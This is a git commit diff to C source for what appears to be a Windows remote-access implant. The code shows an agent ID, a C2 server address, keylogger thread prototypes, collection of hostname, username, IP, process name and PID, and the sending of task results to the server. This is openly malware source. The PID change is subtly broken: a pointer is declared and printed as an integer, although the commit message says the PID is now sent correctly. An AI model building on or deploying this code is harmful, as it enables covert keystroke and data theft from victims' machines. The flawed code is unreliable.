File structure change. TaskID fix in task result sending logic. PID is now formated and sent correctly.

This commit is contained in:
Pavlo Khazov
2025-07-12 22:36:15 +02:00
parent a674b5135a
commit 88e433a3d3
11 changed files with 58 additions and 31 deletions

View File

@@ -17,7 +17,7 @@ char startup_result[1024];
LARGE_INTEGER start, end, freq;
#if TESTING_BUILD
char agentID[] = "Agent";
char agentID[] = "TestAgent";
char* serverDomains[] = {"192.168.1.4"};
int startupDelay = 0;

View File

@@ -7,8 +7,10 @@
size_t STD_BUFF = 1024;
size_t BIG_BUFF = 8192;
// Temporarily holds task id after parsing task message
char* currentTaskID = NULL;
// Prototyping
DWORD WINAPI StartKeylogger(void);
DWORD WINAPI StartKeylogTimer(LPVOID lpParam);
@@ -31,7 +33,8 @@ void SendTaskResult(Transport* transport, char* task_type, char* result) {
if (currentTaskID != NULL) {
taskID_len = strlen(currentTaskID);
} else {
taskID_len = 0;
currentTaskID = "0";
taskID_len = 1;
}
printf("Result: %s\n", result);
@@ -121,15 +124,16 @@ void SendSysInfo(char* result) {
char username[128] = {0};
char localIP[128] = {0};
char procname[128] = {0};
unsigned long pid = 0;
unsigned long* pid = 0;
CollectSystemInfo(osVersion, architecture, hostname, username, localIP, procname, &pid);
printf("PID: %lu\n", pid);
char systemInfo[STD_BUFF];
snprintf(systemInfo, sizeof(systemInfo),
"%s|%s|%s|%s|%s|%s|%lu", osVersion, architecture, hostname, username, localIP, procname, pid);
// printf("Sysinfo string: %s\n", systemInfo);
printf("Sysinfo string: %s\n", systemInfo);
strcpy(result, systemInfo);
// printf("Result: %s", result);

View File

@@ -84,6 +84,9 @@ void CollectSystemInfo(char *osVersion, char *architecture, char *hostname, char
procname[127] = '\0'; // Ensure null termination
*pid = GetCurrentProcessId();
printf("Proc name: %s\n", procname);
printf("PID: %lu\n", *pid);
// Architecture
SYSTEM_INFO sysInfo;